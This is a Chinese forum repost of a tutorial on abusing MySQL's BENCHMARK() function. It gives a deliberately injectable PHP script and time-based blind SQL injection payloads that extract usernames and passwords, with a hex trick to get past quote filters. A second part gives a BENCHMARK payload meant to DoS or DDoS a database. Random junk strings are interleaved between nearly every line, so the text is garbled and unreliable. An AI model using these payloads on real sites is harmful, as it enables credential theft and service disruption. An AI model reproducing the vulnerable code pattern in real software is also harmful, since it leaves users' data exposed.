中国网络渗透测试联盟
标题:
MYSQL中BENCHMARK函数的利用
[打印本页]
作者:
admin
时间:
2012-9-15 14:03
标题:
MYSQL中BENCHMARK函数的利用
MYSQL中BENCHMARK函数的利用
/ t( K' b: q* I6 f( a( a
本文作者:SuperHei
6 i& h& T) F5 Q+ c& h3 l
文章性质:原创
" e; e/ ~ N I U! d& b* m
发布日期:2005-01-02
( G4 k) E9 A9 B, j
完成日期:2004-07-09
1 ], G5 O: H9 s: x B
第一部
; X/ f/ _% p+ K6 o! D D2 F
* T. Z& Y& S& `9 [/ _
利用时间推延进行注射---BENCHMARK函数在注射中的利用
8 G1 K3 v. j- F& Z& |
% c: S% a2 u- ^8 |3 V: E+ ~
一.前言/思路
& O9 V y! A1 O
6 L( K; P* h) }6 f
如果你看了angel的《SQL Injection with MySQL》一文,你有会发现一般的mysql+php的注射都是通过返回错误信息,和union联合查询替换原来查询语句中的字段而直接输出敏感信息,但是有的时候,主机设置为不显示错误信息:display_errors = Off 而且有的代码中sql查询后只是简单的对查询结果进行判断,而不要求输出查询结果,我们用上面的办法注射将一无所获。我们可以采用时间推延来进行判断注射了。
# d8 E% [- b# a E9 e; V* B& @5 g1 |
/ D* O$ A, r& q: `! S
本技术的主要思路:通过在构造的语句用加入执行时间推延的函数,如果我们提交的判断是正确的,那么mysql查询时间就出现推延,如果提交的判断是正确,将不会执行时间推延的函数,查询语句将不会出现推延。这样我们就可以进行判断注射。
# a+ D# d. ^" d9 f# Z3 c# |
) \ }' z2 a0 P+ \$ W! }" G8 Q
二.关于BENCHMARK函数
4 r5 a3 H: h$ R7 e7 ?1 V+ ^7 z
! m+ q( c. b: O T" W; U" P
在MySQL参考手册里可以看到如下描叙:
! _% [3 a& p% u: k8 ?* Q- K- E- y
; I2 ?5 ~# \8 J
. o: R# ?3 O) w, g* |2 g0 h4 K
--------------------------------------------------------------------------------
. M1 [& q9 B$ \1 P' l' H
" [# ~$ @; Y* F$ i
BENCHMARK(count,expr)
" m5 h" q2 I, F; a# I7 K
BENCHMARK()函数重复countTimes次执行表达式expr,它可以用于计时MySQL处理表达式有多快。结果值总是0。意欲用于mysql客户,它报告查询的执行时间。
5 m! n1 U/ W' ^: @5 m8 Y
mysql> select BENCHMARK(1000000,encode("hello","goodbye"));
) v- \/ S \8 O. n: C6 {
+----------------------------------------------+
; Q) V% H# `) A8 Y0 O7 h
| BENCHMARK(1000000,encode("hello","goodbye")) |
9 q7 \8 i1 ^. K- O$ ~' H
+----------------------------------------------+
( D' W# `' x2 h3 j+ v: _- P+ O
| 0 |
# G/ w3 r P$ S! i
+----------------------------------------------+
% O9 L! F; w# U9 Q$ J* q1 V* X3 w
1 row in set (4.74 sec)
2 j5 c \% R- N( p
+ C5 F$ j6 W" n6 H3 r
报告的时间是客户端的经过时间,不是在服务器端的CPU时间。执行BENCHMARK()若干次可能是明智的,并且注意服务器机器的负载有多重来解释结果。
! H% l7 ?' N& o9 j0 }- Z
1 s0 \1 b- |7 E, I
* ~3 N3 B) B# h$ K: a! W A
--------------------------------------------------------------------------------
. h3 [/ t, L J8 P7 A- D8 z: d
& x7 l3 i1 e# i" m }/ h2 N
只要我们把参数count 设置大点,那么那执行的时间就会变长。下面我们看看在mysql里执行的效果:
& l- \$ U2 l$ [% ~5 V; u! D. s
7 ?: d+ P+ f. t/ |& Z
mysql> select md5( 'test' );
/ v% E3 q9 X5 I
+----------------------------------+
* i G1 l9 G- F1 v& `( S" c2 X
| md5( 'test' ) |
5 ?9 G& z$ X) @5 ^# h" Z
+----------------------------------+
& s& A, n( L5 s% Z& \
| 098f6bcd4621d373cade4e832627b4f6 |
6 I8 c6 N' h8 R7 K& z( {" G
+----------------------------------+
; o2 n& W) V' ]. r4 B" p
1 row in set (0.00 sec) 〈-----------执行时间为0.00 sec
3 n8 ?& x* Y. P
. {' }$ t8 P$ d1 _! ]& x$ Z: w: J
mysql> select benchmark( 500000, md5( 'test' ) );
% } H/ \& y# [6 ~: P
+------------------------------------+
# G& l% h, n1 n
| benchmark( 500000, md5( 'test' ) ) |
0 W, E& f# [% O, o6 I
+------------------------------------+
3 ]% U2 [0 N7 {: _" y
| 0 |
: C, C. t: m! B; j( H
+------------------------------------+
' B" K7 m0 n3 m0 E1 i
1 row in set (6.55 sec) 〈------------执行时间为6.55 sec
# ^. M3 }8 b9 D+ |* N6 O
* X+ e6 V K9 C7 p% D
* H0 O4 ~4 W" u; W8 @# _
由此可以看出使用benchmark执行500000次的时间明显比正常执行时间延长了。
# c! S7 O5 t- v( A% R% ^
/ Z8 }* x7 }2 O/ G% r! E
三.具体例子
" c9 J& @6 G9 m4 D
6 |+ M* r7 j3 {9 \5 I+ ^" K" H V1 A0 B
首先我们看个简单的php代码:
( v) O0 U4 X! P9 K( ~" s
. ?: G$ g. F9 v1 n T
< ?php
# o. \ X! D! a- k
$servername = "localhost";
9 y$ g* T" I5 c# l/ K
$dbusername = "root";
* r1 v. [7 C7 r9 |
$dbpassword = "";
& }! P% l) r. m! B; F4 j l
$dbname = "injection";
1 h2 [; S# C/ q# y$ x) w
p6 U# \3 T9 L+ d$ R% {- p
mysql_connect($servername,$dbusername,$dbpassword) or die ("数据库连接失败");
, p0 A2 H- r% Q N1 a- {' q* y
/ [( p; d- w9 s S
$sql = "SELECT * FROM article WHERE articleid=$id";
: v( i7 Y1 E/ _, ^ M
$result = mysql_db_query($dbname,$sql);
8 N! e( p" B; T7 B3 }4 e
$row = mysql_fetch_array($result);
" A* h7 s; f) J6 E6 R
" E9 }4 U5 Q5 n) L w
if (!$row)
! t, [4 U& D+ ~7 Y! J
{
4 @/ a) ~$ b8 `) }
exit;
* K. c0 J' P, E! v1 l3 r
}
+ f& B+ u3 C0 @$ W0 _3 J/ [
?>
2 b$ a$ W$ `% K2 o' ^2 F
! e) o- j& M0 L% ^1 c
# B( G, y% ~( _ Z
数据库injection结构和内容如下:
: Q2 ~0 K5 V; f$ o
% [ w2 l8 f# T" o6 L( S
# 数据库 : `injection`
5 y8 a6 R6 r6 o' a/ s9 x' F
#
. r8 b4 p7 W) `
~2 e% Z1 _7 S5 F0 m$ q
# --------------------------------------------------------
4 @$ h4 o5 a$ H
h' L% r. ]# a4 ]
#
: d9 I3 _$ h2 U9 `; }
# 表的结构 `article`
- u% s! f- p, j; w
#
. ~2 |$ N& i& m
9 f# _' R; G3 T* _
CREATE TABLE `article` (
+ k$ \1 A# t2 N, F0 p
`articleid` int(11) NOT NULL auto_increment,
3 m; X' E* K! ?$ v$ e* H
`title` varchar(100) NOT NULL default '',
: {; t) \: F5 V% m
`content` text NOT NULL,
8 m! n7 o ]* D& \0 E
PRIMARY KEY (`articleid`)
' l$ Q/ n1 u- Z, z5 o! B1 J
) TYPE=MyISAM AUTO_INCREMENT=3 ;
& Y& [6 z2 T7 L) A
2 `; {6 w. V1 c1 i$ u
#
5 T g# E4 u; I# q' f: \' b( C) T4 a
# 导出表中的数据 `article`
/ I3 u* N4 h8 b8 q! m: W, H4 ]
#
, A$ Y& N6 n( ^1 x
6 B# m: W i) B9 f0 T
INSERT INTO `article` VALUES (1, '我是一个不爱读书的孩子', '中国的教育制度真是他妈的落后!如果我当教育部长。我要把所有老师都解雇!操~');
0 x3 K; q0 U/ q& i% B7 _
INSERT INTO `article` VALUES (2, '我恨死你', '我恨死你了,你是什么东西啊');
. M7 g5 o$ F; V! u
# i2 ^! `4 `! x9 ^! ^& d
# --------------------------------------------------------
: }! }2 S0 |! j) V0 ^" t# t4 Z
* w7 K/ q. n/ j% V6 o
#
2 j- V2 e' H+ _/ ^
# 表的结构 `user`
& V+ l/ l/ v: p4 x/ ~3 o% f
#
* u' @, ^7 }2 p& }* }8 u
) I# g. h7 e5 @3 _
CREATE TABLE `user` (
5 f4 g; K: g' E3 S* h r) X! k/ Z
`userid` int(11) NOT NULL auto_increment,
- z. q8 q( D6 z
`username` varchar(20) NOT NULL default '',
& H9 Z, q0 ?! E/ H
`password` varchar(20) NOT NULL default '',
) I9 O3 ^. J8 C* g) V" _
PRIMARY KEY (`userid`)
0 Q: P( s. q, A: Y
) TYPE=MyISAM AUTO_INCREMENT=3 ;
" O( k v2 |+ D% i7 ~ y
9 y9 \" |2 C+ T/ K3 ~5 A+ w
#
2 W1 O% [7 m' t9 O% B: ]
# 导出表中的数据 `user`
_7 n" V3 {0 N" W3 V! d6 ]
#
- X; m8 i7 I F+ K' f& E t0 A6 V3 F% e
" {( g' O/ D: Y( p" v8 \( U
INSERT INTO `user` VALUES (1, 'angel', 'mypass');
2 ~! g1 H) Z; h$ \: H
INSERT INTO `user` VALUES (2, '4ngel', 'mypass2');
' r f0 d; U3 [& @$ }
E2 [9 R8 z' r; S; l. r: |. J5 q2 ]
, u. j! B ?& u; @, v
代码只是对查询结果进行简单的判断是否存在,假设我们已经设置display_errors=Off。我们这里就没办法利用union select的替换直接输出敏感信息(ps:这里不是说我们不利用union,因为在mysql中不支持子查询)或通过错误消息返回不同来判断注射了。我们利用union联合查询插入BENCHMARK函数语句来进行判断注射:
; L6 Q$ U, ` G& ~
9 R" v0 O8 ^' X# I
id=1 union select 1,benchmark(500000,md5('test')),1 from user where userid=1 and ord(substring(username,1,1))=97 /*
5 O# B6 j% S% f% s# V* J1 ?# P
1 E1 Q8 l2 H2 J! T, u+ T
0 N0 p# g; \* s2 p% m1 m+ ?; A
上面语句可以猜userid为1的用户名的第一位字母的ascii码值是是否为97,如果是97,上面的查询将由于benchmark作用而延时。如果不为97,将不回出现延时,这样我们最终可以猜出管理员的用户名和密码了。 大家注意,这里有一个小技巧:在benchmark(500000,md5('test'))中我们使用了'号, 这样是很危险的,因为管理员随便设置下 就可以过滤使注射失败,我们这里test可以是用其他进制表示,如16进制。最终构造如下:
9 K/ Y5 i# J( i7 u
+ M2 @2 ]6 u9 o: e( C1 M, ]
http://127.0.0.1/test/test/show.php?id=1%20union%20select%201
,benchmark(500000,md5(0x41)),1%20from%20user%20where%20userid=1%20and%20ord(substring(username,1,1))=97%20/*
x, {3 |( W7 e" j% T( F3 d/ T- p
. R$ ]. x9 E K+ T1 B9 x
; X9 W# p" T ~ ^ r
执行速度很慢,得到userid为1的用户名的第一位字母的ascii码值是是为97。
& Y. ?- p: n1 D( c% q4 L4 P
" K! j) I v% ^2 v
注意:我们在使用union select事必须知道原来语句查询表里的字段数,以往我们是根据错误消息来判断,我们在union select 1,1,1我们不停的增加1 如果字段数正确将正常返回不会出现错误,而现在不可以使用这个方法了,那我们可以利用benchmark(),我们这样构造 union select benchmark(500000,md5(0x41)) 1,1 我们在增加1的,当字段数正确时就回执行benchmark()出现延时,这样我们就可以判断字段数了。
! n! q% l5 l( z8 l" v8 e& [
n" h4 Y" S* ?: J: A
第二部
/ z; g, O) J# F# t! v# _
; [' D5 G t3 ^- q; O# l* k
利用BENCHMARK函数进行ddos攻击
/ K2 D4 W* J; R: u
* Y' w G! Z! H# E
其实思路很简单:在BENCHMARK(count,expr) 中 我们只要设置count 就是执行次数足够大的话,就可以造成dos攻击了,如果我们用代理或其他同时提交,就是ddos攻击,估计数据库很快就会挂了。不过前提还是要求可以注射。语句:
/ Z# e7 `4 Z1 V0 K/ l7 N3 t4 b
% V0 v9 L9 k3 | }* ?) d( H7 |- B
http://127.0.0.1/test/test/show.php?id=1%20union%20select%201
,1,benchmark(99999999,md5(0x41))
+ d1 N0 v* |' F! ]# h
P9 W. x7 n/ Q; `
$ N B1 ~) v; w! f$ j& s* w) g
小结
3 V, T2 I9 x6 L% K3 X
& t- g$ c- n* Q- k7 I r- h1 e$ S
本文主要思路来自
http://www.ngssoftware.com/papers/HackproofingMySQL.pdf
,其实关于利用时间差进行注射在mssql注射里早有应用,只是所利用的函数不同而已(见
http://www.ngssoftware.com/papers/more_advanced_sql_injection.pdf
)。关于mysql+php一般注射的可以参考angel的文章《SQL Injection with MySQL》。
# M! M" z4 v9 F
G8 a3 Q b2 X1 B
3 _3 I. J3 {$ U8 t) l" ^
欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/)
Powered by Discuz! X3.2